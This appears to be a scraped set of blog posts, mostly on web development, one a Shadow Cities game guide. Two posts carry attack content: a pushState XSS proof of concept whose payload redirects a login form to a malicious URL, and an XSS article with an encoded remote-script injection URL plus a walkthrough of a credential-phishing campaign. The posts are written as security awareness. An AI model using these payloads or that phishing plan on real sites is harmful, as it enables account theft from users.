I was playing around with window.history object. In general, it’s quite limited and can be considered rather useless. However, HTML5 brings some new methods to History object in order to make it more powerful.

In this article I will take a quick glance on a quite peculiar method called pushState(). There is one security related issue I want to point out, which I’m considering rather harmful.

history.pushState()

history.pushState() was introduced in HTML5 and it’s meant for modifying history entries.

By using pushState() we’re allowed to alter the visible URL in address bar without reloading the document itself. Sounds a bit risky, doesn’t it?

The Harmful Part

The harmful part is that we can conceal the real location and replace it with anything we want. Although the hostname can’t be replaced, we can completely change the pathname.

So, I made a brief PoC about hiding a non-persistent XSS exploit. It’s about executing a malicious script on a login page through a non-validated query parameter (quite common situation). The script redefines form.action and then removes the malicious query parameters of the URL shown in address bar.

Proof of Concept

This PoC works only in modern browsers that has implemented this HTML5 proposal. This only works in Google Chrome 9 and Firefox 4 Beta.

pushState() works properly also in Safari 5, but it’s security control refuses to load external scripts or execute injected scripts.

I’ll inject some malicious code via query parameter: ?username=”><script>(history.pushState({},”,’index.php’))(document.forms[0].action=’http://maliciousURL’)</script>

As you can see the URL is pretty ugly. Therefore shortened it in a trusted URL shortener service (like everyone does nowadays): http://bit.ly/pushStateXSS.

Just visit this URL to see how pushState() behaves and what is shown in address bar.

Conclusion

Can this be considered as a security flaw? – Definitely yes.

How it should be fixed? – There should be a property, eg. history.allowPushState which would be set to false by default. And website developers could explicitly set it to true while being aware of the risks. Edit: I’ve received some feedback about this. And you’re right – this wouldn’t fix anything since it could be set to true in injection. I wasn’t thinking this thoroughly :).

Note: I’m taking advantage of this technique in my //bit.ly/xss_1, which I use for pointing out the XSS vulnerabilities for website administrators. It just removes everything after “?” from the URL in address bar.

I was going to write one long blog post about advanced handling of browsing history, but then I decided to split this into two separate articles.

In this article I’ll represent a small JavaScript snippet I created for handling client-side session variables without cookies or Local Storage.

The snippet, Session.js, works on all modern browsers that support JSON natively. And if you want to extend it to work on browsers like Internet Explorer 6, you can use custom JSON implementation (eg. Sitepoint: Cross-browser JSON Serialization in JavaScript).

The reason I wrote this is simple – sometimes you just want to persist client-side variables during the whole session. In general, cookies are OK, but I personally dislike them to be used as very temporary data storages. I just don’t want to pollute cookie with (secondary) data that isn’t ever meant to be used after the session. Beside, cookies do not accept larger quantities of data.

Therefore I’m using window.name property. This property will exist during the whole session, and is automatically emptied when user closes the window or moves to another domain.

There are also other implementations of the very same topic, such as Thomas Frank’s sessvars.

Methods

There are following methods:

Session.setVar(string name, mixed value)

This sets the variable. You can add any type of value (number, string, boolean, object).

Session.getVar(string name)

This returns the variable. If such variable doesn’t exist, this returns false.

Session.removeVar(string name)

This removes the variable. If such variable doesn’t exist, this returns false.

Session.subscribe(string name, function callback)

This attaches a function to the variable. So whenever variable is set on the document, or is already set earlier during session, subscribed functions are fired. However, function won’t be fired when variable is removed, but the function itself will stay attached on the variable and fired if the variable is set again.

You can add a “namespace” for functions to distinct them for unsubscribing. This is done by adding a period on variable name: Session.subscribe(“foo.alertVariable”, function() { alert(Session.getVar(“foo”); });.

Session.unsubscribe(string name)

This simply unsubscribes certain function attached to the variable, eg Session.unsubscribe(“foo.alertVariable”).

Source Code

You can get the source code from here.

There is also very small demonstration available in here.

Please notice this article is outdated, after the client and game mechanics were renewed on May 2011!

I strongly suggest reading STARTERS GUIDE at Shadow Cities forum instead of this article.

Shadow Cities is a location based MMORPG which was just released for iPhone and is currently in beta stage (available only in Finland).

In order to get you started, I decided to write this post. I’ve myself played only for two days, nearly as long as the game has been publicly available. So these advices are from newbie to newbie :). And it’s very possible some of these advices gets outdated in near future.

These advices are unofficial and made from personal perspective. By the way, I’m playing with character called “Macaco” for the Architects.

Last updated on 13th of Nov, 2010

Table of Contents

Read the Help Section

Shadow Cities has a brief and clear help section, which you really should read before starting your career as a mage. It can also be found online from Shadow Cities Help Section.

Seriously, read it.

About the Terminology

Teams
You’ll belong either on the Architects or the Animators. On daily basis, your side will mostly affect on how you’re able to travel (or warp) in your area without moving physically. On weekly basis, there are different kind of campaigns where both teams compete against each other.
Hitpoints
Mages don’t have hitpoints, only spirits do. This means neither you can’t get killed, nor can the other mages. Every time a mage is hit, he’ll lose (only) mana.
Mana
Whenever you want to do something cool, you’ll need mana for that.
Experience
In order to get on next level, you need to gain experience. The best way to gain experience is to kill spirits.
Spirits
Spirits are the non-player characters of the game, which you’ll hunt down and kill until your screen has a greasy Z figure on it. And then you’ll kill some more.
Energy
Energy can be considered as “experience points of the team”. It seems there will be different kind of contest every week between teams and the amount of collected energy is in important role. The main resource for energy are the dominators.
Warping
This is how you travel inside the game. Or of course you can travel physically, but by warping you’ll get to different places very quickly. Warping back and forth doesn’t consume any mana.
Buildings
There are different kind of buildings, and the dominators are the most important ones. These towers has several meanings which you can find out by reading through the help section.
Power
Power is needed in order to build specific type of buildings. Dominators are generating power, while other type of buildings are consuming it.
Energy Gateways
These are burning flames around the realm. They can be conquered by attaching dominators to them. They also can be bought with mana bottles, making the buyer as the Shadow lord of the realm (the close surroundings).

What is Mana?

On the bottom left corner of the main view, there’s a blue bottle and a tiny meter. This is your mana. Good thing to remember is that nearly every action requires mana in some way.

The meter will show much mana you’ve charged with, and the number above the bottle displays the amount of mana bottles. One bottle will recharge your mana completely. Full charge of mana will be enough for 3 – 4 war spells.

Mana bottles are also the currency in the Shadow Cities. This is quite important to realize. Don’t use bottles for recharging whenever you’ve time to wait. Mana will automatically regenerate, but the bottles won’t. Therefore it’s the best way just to wait for recharging. Trust me, you’ll eventually end up in a situation where you’ll curse yourself for spending mana bottles in vain.

There are three ways to gain more mana bottles: 1) buying them from App Store, 2) researching (see “What Are the Captured Spirits?”) and 3) by completing tasks (little yellow exclamation or question mark on bottom right of the screen).

How Do I Gain Experience?

The best way to gain experience is by killing spirits. There are different kind of spirits, but most of them are quite easy catches (Rank 1).

Spirits are flying around and will not attack you until you’ve first attacked them. You should definitely go after them whenever you’ve got enough mana to throw at least two war spells.

It’s not cool either to kill a spirit someone else is trying to kill. No matter if he’s an Architect or an Animator. The amount of experience is nothing compared the amount of disrespect you gain.

What Are the Captured Spirits?

After you kill a spirit, it’s captured. The list of captured spirits can be found by pressing the white Shadow Cities icon on the bottom right. And on the sub menu, go for the yellow icon on the top left.

There are 12 different kind of spirits in total, with three different colors (red, green, blue) and four different houses (Dannan, Drioma, Inrik, Tiermes).

There are two things that makes some spirits more worthy than others: 1) spirits have different values (marked with stars) and 2) some type of spirits are used to research mana bottles.

Captured spirits can be used for generating energy. The value (no star, one star, three star) defines the amount of energy you’ll generate while donating the spirit. They can also be used for researching mana bottles.

The point here is to focus on more valuable spirits and / or spirits that can be used for researching. I’ve noticed that more valuable spirits (especially three stars on them) are harder to capture, but you’ll also gain more experience by killing them. So, I definitely recommend hunting down these certain type of spirits.

How to Kill Other Players?

Never ever go after other players! It just doesn’t make sense. At the moment, other players can’t be killed (I personally hope this get changed). They’ll only lose their mana – and so do you. If you encounter an hostile situation you should just warp away.

Only reasonable situation for attacking opponent players is when they’re trying to destroy your buildings. However, it’s easy for them to logout and come back later with recharged mana and continue the destruction. But at least you’ve tried your best :).

How to research?

You can research by selecting yellow character icon from top left and then the mana bottle from sub menu. In research menu you see three headers labeled as “Research”, “My Public Projects” and “Other Public Projects”.

Currently it seems that “Red Dannan”, “Green Drioma” and “Blue Inrik” are used for researching purposes. I don’t know whether this will change on some interval.

You should check what type of spirits you have for researching purposes from “Research” view. But don’t start your own project yet. Instead you should check through ongoing public projects whether you can contribute to them.

Every mage who participates on research project will gain one mana bottle. If they participate by adding multiple type of spirits they still gain only one bottle. Therefore it makes no sense to contribute with more than one spirit.

When you start your own project, it will appear as public project, but only to your friends. However, when you participate on a project created by someone else, this project will be seen only by his friends.

How to Collect Energy?

The dominators are the main source of energy. Dominators will slowly generate energy, and when they’re filled with energy, a red circle will appear around them and you can harvest the energy. You’re also capable of harvesting your team members dominators. Another way to collect energy is to donate captured spirits (see above).

You’ll also gain (or rob) energy when destroying opponents dominator which is fully charged. It’s extremely rewarding when you stumble upon a field of opponent dominators.

It’s rather important to collect energy. Energy will help your team to win the weekly campaign. And you’ll be rewarded according to the energy you’ve collected.

What Should I Build, And Why?

Build dominators. Focus on building the dominators. And harvest the dominators as often as possible.

Distribute dominators. The amount of power generated by dominators doesn’t depend on the location of dominator. In addition, your dominators will generate more energy in average when they’re distributed to different gateways. One dominator per player, per gateway will generate 12 energy points, while two of them will generate only 8 points each. If you connect eg. five of your dominators to a single gateway, they’ll generate only five energy points each.

Always destroy enemy dominators when you encounter them. This is the situation where mana bottles are essential because you really want to get rid of them all. At the moment it seems not many players are fully aware of this. By destroying opponent’s dominators you both gain experience and harm their infrastructure.

You’ll find out the meaning of all the other buildings while you’re progressing on the game. But the dominators are the constitution of the game.

What is Warping?

In order to get easily on different places, you’ll need to warp. Whenever there’s something that belongs to your team, you can warp on it. That is very good thing to remember.

It’s possible to warp longer distances. This is done through beacons, a specific type of building which has to be built by someone. You can see the available beacons by entering into expanded view by clicking on the white Shadow Cities on the bottom right, and then on the submenu, click the white cloud icon on bottom left.

What Spells Should I Choose?

I have no straight answer on this, so I’ll make a good guess:

  • Upgrade your war spell first
  • Catchers are excellent for capturing loads of (both common and rare spirits). I recommend learning this spell on second.
  • Ability to heal makes you feel like a good mage when you’re donating your mana to other players. However, at the beginning it’s useless for healing buildings while most of them can be destroyed with couple of war spells
  • You won’t be needing beacons in the beginning. They consume lots of power while they won’t provide you any value. Don’t go for them.
  • Traps are always cool. But lower level spell is quite useless, since the trap can be destroyed with one or two war spells

So in general, consider evolving only in the war and catcher spells. They are the spells you’ve personally needing most. Your team will need you, but not when you’re on level 5.

Closing Words

I just hope this helps you to get started. Playing Shadow Cities isn’t that complicated. But I’ve heard some of the new players complaining about the icons and terms that they’re not self explanatory, and you easily end up wandering and doing something meaningless. But it’s good to remember that the game is in beta phase and at least I do think the game will evolve from this point.

XSS - An Underestimated Threat?

Cross-site scripting (XSS) is a type of security vulnerability which allows attacker to inject external client-side code on a website. Exploited vulnerabilities can cause only a small nuisance but in many cases they can also be exploited in very harmful ways.

XSS vulnerabilities are both unsurprisingly common and usually quite easy to spot. Despite the situation, XSS isn’t often concerned as a dangerous security risk.

Few months ago, Mikko Hyppönen (Chief Research Officer, F-Secure) wrote on their blog about a XSS vulnerability found on their site. This incident inspired me to write this article about XSS vulnerabilities in general – the form of a vulnerability I see way too underestimated.

Hyppönen made an excellent statement (free translation): “If even the companies specialized in data security don’t have flawless websites then what are the chances for companies which aren’t specialized in it?”.

I completely agree with his statement. While writing this article, I took 15 random websites from The TOP25 most visited websites in Finland. I did brief, manual tests to these websites and ended up finding XSS vulnerabilities in nine different sites. Eight of these websites has user logins, and two of them also deals with real money transactions.

In this article I’ll make an overview on XSS as a vulnerability, listing the forms of vulnerabilities and how they are exploited. I’ve also created a light example, which is meant for demonstrating XSS in real use.

This article doesn’t offer tips for protecting against XSS exploits mainly because the subject is technology independent. However, there are few excellent links at the end of the article, also offering guidance for website administrators.

This article is also published in Finnish, at Gfx.

What XSS is all about?

  • The amount of XSS vulnerabilities is estimated as 80% out of total amount of web security vulnerabilities (according to Symantec, 2007),
  • OWASP (The Open Web Application Security Project) has listed XSS vulnerabilites as 2nd highest web application security risk in 2010,
  • XSS vulnerabilities have been found also on very large websites, such as Facebook, Twitter or Wikipedia.

As a brief conclusion it can be said XSS is a severe vulnerability, threatening both small and large websites.

Different types of XSS vulnerabilites

XSS vulnerabilites can be divided at least in four different types:

  1. injection via URL (HTTP query),
  2. injection via permanently displayed data (eg. with form submission),
  3. injection by exploiting client side code,
  4. injection by exploiting external feed displayed on a website,

Additionally, I’ll mention a fifth threat “injection executed by user himself”.

1) Injection via URL

This is the most common type of vulnerability. Injection via URL is also quite short-lived and easily spotted exploit.

If the website is unable to validate the query string correctly, the exploit is very trivial. For instance, the exploit could look like this: http://www.domain.tld/?page=Main”%3e%3c%73%63%72%69%70%74%20%73%72%63=//%62%69%74%2e%6c%79/%78%73%73_1%3e%3c/%73%63%72%69%70%74%3e%3c%73%70%61%6e%20″.

I’m confident by claiming that average user (btw. you’re not average user) don’t see anything suspicious on such URL. In addition, an average user is likely to have a browser setup which doesn’t see anything suspicious in this case either. And even if the browser would react, there still are some methods to fool the browser (or an add-on). Plus we could use URL shorteners because most of them don’t sanitize URL’s for potential XSS exploits.

2) Injection via permanently displayed data

This exploit is much more severe than previous one because it offers the way to create a permanent injection.

The basic principle is to find a form which allows submitting malicious and displays it without proper validation. For instance, such exploit existed in Facebook only few months ago which allowed XSS exploit through the title of the Facebook group.

Nowadays, many of the websites are created by using existing components or frameworks which almost always prevents this kind of security vulnerabilites.

3) Injection by exploiting client side code

This exploit is very similar to the 1st vulnerability I listed. In this case the injection is not appended to the HTML section, it’s executed by exploiting existing client-side code.

This kind of exploit isn’t quite common. However, in situations where scripts are appended dynamically, eval() function is fired in wrong place or query string parameters are used as client-side variables, website may contain a XSS vulnerability.

4) Injection by exploiting external feed

This type of vulnerability is quite rare and usually occurs in situations where developer has either been very inexperienced or very very busy.

This could occur eg. in a situation where a company publishes their Twitter feed on a website. Such situation may exist when feed is not properly validated or it’s handled incorrectly on client-side.

This actually happened in real life, in a case called #cashgordon.

5) Injection executed by user himself

This type of vulnerability is beyond website administrators or developers. But it’s still worth of mentioning. The exploit is based purely on that user himself is tricked to execute JavaScript in his browser.

But why? Why would anyone execute JavaScript in his browser when told to?

The whole concept is based on three thing: 1) an average user (yes, not you) isn’t aware of the consquences, 2) recommendation to execute JavaScript is usually received from a “known” person, and 3) curiosity is not a sin.

Yes, we’ve seen this movie before. The concept is practically same when dealing with e-mail worms and viruses.

This kind of exploit is something you’ve most likely seen on Facebook. For instance, when Facebook users are told they can activate Dislike-button, they go nuts. Tell them to execute a single line of JavaScript (leaked by Facebook developers of course – or some other fancy story), and they’ll do it. And while posting status updates without user prompt is possible, the story goes on and on…

XSS vulnerability means trouble

In many cases XSS means more than teenagers popping up alert dialogs with dirty words. I’ve listed some of the troubles related to XSS vulnerabilities:

User input is not protected

The most important thing to note is that when website is injected with XSS, everything user does can be logged. If we trick the user to login the website like he normally does, he gives us his credentials without ever being aware of it.

Users tend to trust known websites

Another important point is XSS offers a playground where users tend to think everything is safe. This lowers the barrier for user to hand over information about himself. Whenever there is a form or dialog in a trusted environment, requesting some private information with a nice and warm introduction in a trusted environment, many users don’t feel anything being wrong.

XSS vulnerability may indicate also other type of security vulnerabilities

When XSS vulnerability is found on a website, it’s not impolite to expect there are also other flaws in security. XSS vulnerability usually acts as an indicator that website is custom made, which means data security issues are done almost from scratch. Even if the website is built by using framework(s), there’s still something done awfully wrong.

In any case I’m quite convinced that “XSS vulnerabilities attracts people with black hats”.

Mistakes are repeated

When the creator of the exploitable website is known, a new kind of problem is born: with Google or by visiting a creator’s website it’s usually easy to find out other websites they have created. And if they’ve created one website with flaws, it’s possible the same flaws are repeated on other websites too.

There’s no such thing as “harmless vulnerability” from the user point-of-view

When an user is told that website has had some issues with data security, he’ll definitely see that as negative thing. It probably harms the “relationship” between an user and a website.

There’s no practical difference from the average user’s point-of-view whether the security issue has been only a minor XSS vulnerability or the whole database has been taken. They’re not interested in technical details or excuses about severity of the impact, at least not right after the incident.

An imaginary example of XSS vulnerability

This example demonstrates the situation which could occur when a website suffers from XSS vulnerability.

The setup

We’ve found a XSS vulnerability from a very popular discussion forum. All of the query string parameters aren’t validated correctly and injection can be made via URL: http://www.foobarforum.com/?threadID=42%27%3e%3c%73%63%72%69%70%74%20%73%72%63=//%62%69%74%2e%6c%79/%78%73%73_1%3e.

The injection string is mainly encoded in UTF-8 format. We could make URL even shorter by encoding only the part of the string. Or alternatively we could use URL shortener service.

The preparation

So, we have created a discussion thread we’re referring to. We have also written a script that will do the “magic” for the injected page.

Earlier, we’ve created user accounts to other popular discussion forums and written few messages in order to make these profiles more reliable.

Now it’s the time to write harmless discussion threads to other forums, which are referring to the forum with vulnerability:

An image about the discussion thread referring to the injected page.

These messages are written outside normal working hours, while discussion forums are still very active. In other words, we’re having many users seeing these messages while the reaction time of the exploited website is likely to be longer.

The messages should be alluring yet convincing enough. Our advantage is that most discussion forums have been created around certain general topics (like technology, music, family etc), which makes it easier to compose tempting messages.

The most obvious problem is that sooner or later one of the users will realize that referring link contains a XSS string, and he’ll immediately report about it. However, the link is spread on many discussion forums and the show isn’t over until there are reactions on the vulnerable website.

The action

In this case, we’re interested in getting user accounts. Thus, we have to have a story which encourages users either to log in or to register through the injected page. Additionally, we have to take care that users are staying in the injected page:

Image of an injected page where user is encouraged to fill his private information

We’ve modified inner content of the page while leaving the basic layout and structure as it should be – exluding the login form (1). According to the story, user must log in order to see the content. We’re offering our own login form (2) to encourage visitor to actually log in.

Neither of the forms actually logs in. We just wait a little and then we display an error message claiming either username or password was incorrectly entered.

There’s also a possibility that the visitor is already a registered user, using automatic pre-fill made by the browser. In this case it’s possible for us to collect the user data directly.

We’re also offering a registration link (3), which would dynamically open a registration dialog. And we would do the same with link “Forgot your password?”(4).

Many users have (or should have) several passwords for different websites. It’s possible that user gets frustrated when his login fails and he tries with a different user name or password (I have to admit I do this very often). It’s not illogical to assume that the user name could be e-mail instead of nickname or you’ve recently changed your password to another password you tend to use.

When user requests a new password, a personal question might be asked. This offers yet another possibility to collect private information about the user.

And if we’re not still happy, there are cookie data, perhaps session or website specific, client-side variables and other information we can collect for later use.

The outcome

Even if we wouldn’t receive any sensitive information about users who visited the injected page, the harm is already done. Least (or the right thing) the website administrator could do, is to inform all the users about the incident and recommend them to change their passwords – preferably in every website they’re using the same password.

Conclusion

Like I earlier said, the amount of XSS vulnerabilities is huge and they’re spotted both in small and large websites. To support my point-of-view, I did spend some time to see the “tip of the iceberg” by going through the most popular websites in Finland.

I’m confident to finish my article with a conclusion that either the attitude towards XSS vulnerabilites is too slight or alternatively developers aren’t fully aware about XSS as a security threat.

Exploitation of XSS vulnerabilities requires some creativity and imagination – “it’s not the story itself, it’s all about how it’s been told”. When the ultimate goal is to cause harm with XSS, it’s never too hard to generate the story.

External resources

(This post is in Finnish) olemme järjestämässä pienimuotoista, JavaScript-aiheista tapahtumaa Helsingissä, 15. syyskuuta 17:30-21:00. http://www.frontendfinland.org/ Tapahtumaan ilmoittautuminen alkaa tänään perjantaina 6. elokuuta klo 14:00. Ilmoittautumiset osoitteeseen info (a) frontendfinland (dot) org
This post is targeted for Finnish audience, although it’s written in English. Last year during Full Frontal Javascript Conference at November I got an idea of arranging some kind of event for (frontend) web developers in Finland. The sad truth is that we don’t have such events at all. There’s at least medium amount of very talented web developers living in Finland. However, we get together very occasionally, mostly in events that aren’t related to web development at all. Therefore I have a strong opinion we should form a more concrete community which I’m already named as “Frontend Finland” :) The idea of arranging such event got buried. But couple weeks ago, a colleague of mine (at Futurice) mentioned he had the very similar idea about arranging a JavaScript event in Helsinki, Finland. So we made a quick review about potential topics to be discussed. Actually I had already made a short list with an ex-colleague from Fruugo. The event itself, as a first event ever, would be very modest and unofficial. And the “official” part wouldn’t last longer than two to three hours, containing no more than four presentations about different topics. The event would be:
  • free (or very minimal charge for covering running costs),
  • arranged on late September or early October,
  • located in Helsinki,
  • gathering around 40 to 80 enthusiastic web developers,
  • contain short sessions (15-30 minutes) of presentations,
  • social event to emphasize we’re not alone :)
The event is in very early planning stage and I’m about to contact potential developers, asking them whether they would like to contribute with their know-how, sharing their experiences. The big question is: what kind of topics you would like to hear about? The preparatory topics we discussed of were: current state and general knowledge about DOM scripting, overview to some JavaScript framework (most likely jQuery), using JavaScript for building rich web applications or CMS’s, using JavaScript in mobile web development and “bubbling under” trends like WebGL or server-side JavaScript. In addition, if everything goes well and we get such event arranged at all, there’s definitely place for another similar kind of event about frontend web development in general. That event would cover topics about HTML5, CSS3 and the status of latest modern browsers (such as IE9 or Firefox 4). This event would take place somewhere in Spring 2011. And if you’re able to contribute in any way, please contact me via e-mail.
Webdev Weekly #16
This article contains the top picks from week #16. The main weight is heavily on CSS, including my latest article called “CSS3 Transitions – Are We There Yet?”

General Web Development and Web Design

30 Eye Catchy Cartoon Fonts | Queness

A collection of nice and free cartoon style fonts.

HTML & CSS

CSS3 Transitions – Are We There Yet? | samuli.hakoniemi.net

My latest article about the current status of CSS3 Transitions

All There Is To Know About HTML5 and CSS3 | Design Your Way

Just like the title says.

Quick Tip: Ever Thought About Using @Font-face for Icons? | NetTuts+

Quite nice trick for implementing icons to your website.

The CSS 3 Flexible Box Model | hacks.mozilla.org

Information about CSS3 Fflexible box model on Mozilla Firefox.

Hack for Webkit: Filter for Chrome and Safari

CSS hack to filter rules only for WebKit browsers.

Javascript, jQuery and Other JS Frameworks

8 jQuery Micro Optimization Tips | codeNothing?

Nice (micro-level) optimization tips for jQuery developers.

Hacking and Security

Cross Context Scripting with Firefox (PDF) | security-assessment.com

White Paper about a rather new technique called Cross Content Scripting (XCS) in Firefox.

CSS3 Transitions - Are We There Yet?
Cascading Style Sheets 3 has been available for “some time” (first time introduced nine years ago). However, CSS3 hasn’t been available in common use for more than two years. CSS3 Transitions in real use were introduced in late 2007 by Safari. At that time, they were referred as “CSS Animations”, but the terminology changed when Safari introduced their proprietary features also called CSS Animations I’ve split this topic in two articles. In this first article I’ll make a generic overview on CSS3 Transitions. Additionally, I’ll introduce some of the basic implementations and evaluate few CSS properties, meant for creating transformations and transitions. This article also contains references to excellent CSS3 articles. So after reading this article, go ahead and upgrade your knowledge about CSS3 Transitions with them.
This article is also published in Finnish, titled as “CSS3 Transitiot – olemmeko jo perillä?” at gfx.fi. Like mentioned above, the whole topic has been split in two parts. The first part is offering a general overview in current status of CSS3 Transitions. Second part is called “CSS3 Transitions – Problems and Solutions”, which will explain in details how CSS3 Transitions behave in different browsers. The first part of the article contains following sections: Getting Started

Getting Started

To get started, you’ll need a browser that supports CSS3 Transitions:

What about Internet Explorer?

At the moment it’s announced that Internet Explorer 9 isn’t going to support CSS3 Transitions. The best support for IE Transitions and Transformations can be achieved with Matrix Filter. Additionally, I recommend reading an article titled Cross-Browser Animated CSS Transforms — Even in IE, written by Zoltan “Du Lac” Hawryluk who is the author of cssSandpaper. The Basics of the Basics

The Basics of the Basics

Unfortunately, there’s no “one rule to rule them all” for transitions. Actually every browser has their own proprietary properties. Fortunately the syntax for values are consistent.

What can be transitioned?

Most properties can be transitioned and therefore I see no reason to list them here explicitly. However, there are some difference between browsers and the most obvious exception is that Firefox 3.7a doesn’t support transition of transformations at all.

The property values for transitions

Transitions have four values to declare at maximum: Shorthand:
-webkit-transition: property_name duration timing_function delay;
-moz-transition: property_name duration timing_function delay;
-o-transition: property_name duration timing_function delay;
transition: property_name duration timing_function delay;
You also can declare every value explicitly: (Target) Property:
-webkit-transition-property: property_name;
-moz-transition-property: property_name;
-o-transition-property: property_name;
transition-property: property_name;
Duration:
-webkit-transition-duration: duration;
-moz-transition-duration: duration;
-o-transition-duration: duration;
transition-duration: duration;
Duration (like delay) can be entered either in seconds (eg. 0.5s) or in milliseconds (eg. 500ms). It’s important to note that if the value is entered without suffix, transition will not work at all. Timing (of motion):
-webkit-transition-timing-function: timing_function;
-moz-transition-timing-function: timing_function;
-o-transition-timing-function: timing_function;
transition-timing-function: timing_function;
Available timing functions:
  • cubic-bezier(cp1x, cp1y, cp2x, cp2y)
  • ease – equivalent to cubic-bezier(0.25, 0.1, 0.25, 1.0).
  • linear – equivalent to cubic-bezier(0.0, 0.0, 1.0, 1.0).
  • ease-in – equivalent to cubic-bezier(0.42, 0, 1.0, 1.0).
  • ease-out – equivalent to cubic-bezier(0, 0, 0.58, 1.0).
  • ease-in-out – equivalent to cubic-bezier(0.42, 0, 0.58, 1.0).
Delay:
-webkit-transition-delay: delay;
-moz-transition-delay: delay;
-o-transition-delay: delay;
-transition-delay: delay;
Delay (like duration) can be entered either in seconds (eg. 0.5s) or in milliseconds (eg. 500ms). In general, it’s good to declare transitions on default state selectors without pseudo classes. This will cause transition played in both direction, eg. when hovering. Remember, you have to enter all the properties four times before being cross-browser compliant. Therefore it’d be best to use shorthand codes for keeping your CSS code clean. The Basics

The Basics

Now, I’m going to demonstrate some of the transitions. You must either hover or to click activation buttons for displaying transitions. All the code examples below has no browser proprietary format written – this is for saving space.

Basic Transition: Dimensions and Scaling

I’ll start by demonstrating the basic transition. It also demonstrates the difference between width+height and scale transform.
#widthHeight	{transition:all 500ms;}
#widthHeight:hover	{width:200px;height:200px;line-height:200px;}

#scale	{transition:all 500ms;}
#scale:hover	{transform:scale(2.0, 2.0);}
Width + Height
Scale
 

As you can see, width and height increases normally while scaling is treated almost like absolutely positioned element. On scaling, the transform-origin is set to middle while modifying width+height origin is on the top-left corner.

Transition with Timing Function

Below there are two blocks rotating; one with linear timing-function and second one with ease.
#rotateLinear	{position:relative;clear:both;left:0px;
		transition:all 2500ms linear;}
		
#rotateEasing	{position:relative;clear:both;left:0px;
		transition:all 2500ms ease;}
		
#rotateLinear:target	{left:200px;
			transform:rotate(360deg);}

#rotateEasing:target {left:200px;
			transform:rotate(360deg);}
Linear
Easing
 
Activate LinearActivate Easing
 

As you probably noticed, the movement is different but both transitions ends at the same time (after 2500ms).

Transition with Delay

Delays are useful in some cases. And they’re very easy to implement in transitions:

#bgColorDelay	{background-color:#12142B;
		transition:background-color 500ms linear 800ms;}
#bgColorDelay:hover	{background-color:#336699;}
800ms delay
 

Transition Chaining

Transitions can also be chained. This doesn’t come as a default feature, but chaining can be achieved by adding delay between transitions:

#widthHeightOpacity	{transition:width 500ms, height 500ms linear 500ms, opacity 500ms linear 1000ms;}
#widthHeightOpacity:hover	{width:200px;height:200px;opacity:0.1;}
w+h+opacity
 

This has one caveat: transitions are displayed in same order no matter whether the element is hovered or it’s in default state. And that makes no sense. Therefore we need to reverse the declarations (compared to earlier examples) as following:

#widthHeightOpacity	{
	transition:width 500ms 1000ms, height 500ms linear 500ms, opacity 500ms linear;
}

#widthHeightOpacity:hover	{width:200px;height:200px;opacity:0.1;
	transition:width 500ms, height 500ms linear 500ms, opacity 500ms linear 1000ms;
}

Is There Anything Else?

Well of course, there might be something else I haven’t noticed at this point. But what I’m trying to emphasize is that transitions are rather simple to implement (although they require a bit extra work for cross-browser compliancy).

Conclusions

Conclusions

Are we there yet? Yes, we’re over halfway there. Transitions in general are very cool in proper use. However, I’m personally still bit skeptic with CSS3 Transitions: at this point, you can’t rely on them and you must do cross-browser testing thoroughly. I’ll cover some of the problems at the following part of this article series. And I’m also going to briefly compare CSS3 Transitions with jQuery Animations. If you’re dealing with a platform solely running on WebKit (like iPhone or Adobe AIR) then go ahead and enjoy the full power of both CSS3 Transitions and WebKit animations. External Resources

External Resources

Here are some good resources provided both by browser vendors and other external authors. I strongly suggest reading them for adopting transitions and other CSS3 techniques.

Comments?

Feel free to comment any part of the article. Additionally, if you know good resources about CSS3 Transitions, go ahead and contribute.
Webdev Weekly #15
Webdev Weekly has been on a break for few weeks. From now on, I’m going to post the best links related to web development and design much more often (aka weekly). This week’s article includes only few, but very good links to strong articles and websites.

General Web Development

Going Lean with Website Production

A good article about Lean Development with production websites.

HTML & CSS

7 Useful CSS3 Code Generators

This article focuses on seven (probably best known) CSS3 code generators.

IE Print Protector

“IE Print Protector is a piece of javascript that allows you to print HTML5 pages in Internet Explorer. “

Javascript, jQuery and Other

jStorage

How to store data locally with JavaScript, the cross-browser way!

Compose: functions as building blocks

“JavaScript treats functions as first class objects, that is they can be created and modified dynamically and passed as data to other functions and objects. Shamelessly continuing this theme, allow me to introduce functional composition…”

Server-Side Development and Frameworks

8 useful code snippets to get started with WordPress 3.0

This post gathers the most useful resources to get you started with WordPress 3.0.

Advanced Regular Expression Tips and Techniques

Some advanced tips for working with regular expressions by Burak Guzel

Top 10 Useful .htaccess rewrites, Mod_Rewrite Tricks and Tips

Like the title says: 10 very useful tips in brief format for all .htaccess freaks.

Security and Hacking

x5s – automated XSS security testing assistant

“x5s is a Fiddler addon which aims to assist penetration testers in finding cross-site scripting vulnerabilities. It’s main goal is to help you identify the hotspots where XSS might occur…”

When jQuery returns failed in IE - and how it's probably resolved
In web development, I love facing unexpected problems I haven’t seen before. It’s an excellent situation to learn new things. And the moment right after I’ve found a solution – it’s a perfect moment. But when I can’t find a solution, no matter how hard I try, and especially when I can’t find anything from Google that could help me.. well, I get very frustrated. In this brief article, I’ll go through one problematic situation that really got me frustrated. Plus, this hopefully can be found via Google and therefore works as a solution to anyone who’s facing a same problem.
Last week at work, I encountered a very peculiar problem in Internet Explorer. There were several IE-related bugs reported in a certain part of the service. However, I couldn’t reproduce them and I expected these bugs had been fixed during other updates in the code.. ..until it suddenly happened. All the tested versions of IE’s (6, 7, 8) started reporting either error “failed” or “unexpected error”, pointing to jQuery’s code. And there worst part was that error occurred occasionally, although nothing was changed. In this case, there’s jQuery 1.3.2 in use. Error message didn’t help and the line it was pointing to, belonged to a internal / helper function into jQuery. At first, errors disappeared after some fixes I expected to resolve the situation. But, like I mentioned earlier: these errors were occasional. I didn’t have anything that could have helped me at least a little on tracking this problem (later I found not even unit tests would’ve solved this – although it’s not an argument why I didn’t have unit testing for javascript). So, my only choice was trying to isolate the problem function by function, line by line. Ultimately I found that all the errors were caused by event handler bindings made with function $.fn.live(). I couldn’t blame the selectors being too unprecise, although I reduced the amount of troublemakers by fine-tuning them. In addition, I found that wrapping them in setTimeout() with small delay would have possibly fixed the problem. Also, IE6 had the most problems, while IE7 started to feel stable. Most likely there was something going on with perfomance. However, after all this I wasn’t in a mood to expect these problems were completely solved. So I ended up binding event handlers with $.fn.bind() whenever something was dynamically added. It meant more lines of code, but it also meant that no errors were occurred ever again. The point of this article can be put in one sentence: if you receive an error with message “failed” or “unexpected error” from jQuery and this happens only in Internet Explorer, comment out every possible live() binding and try again.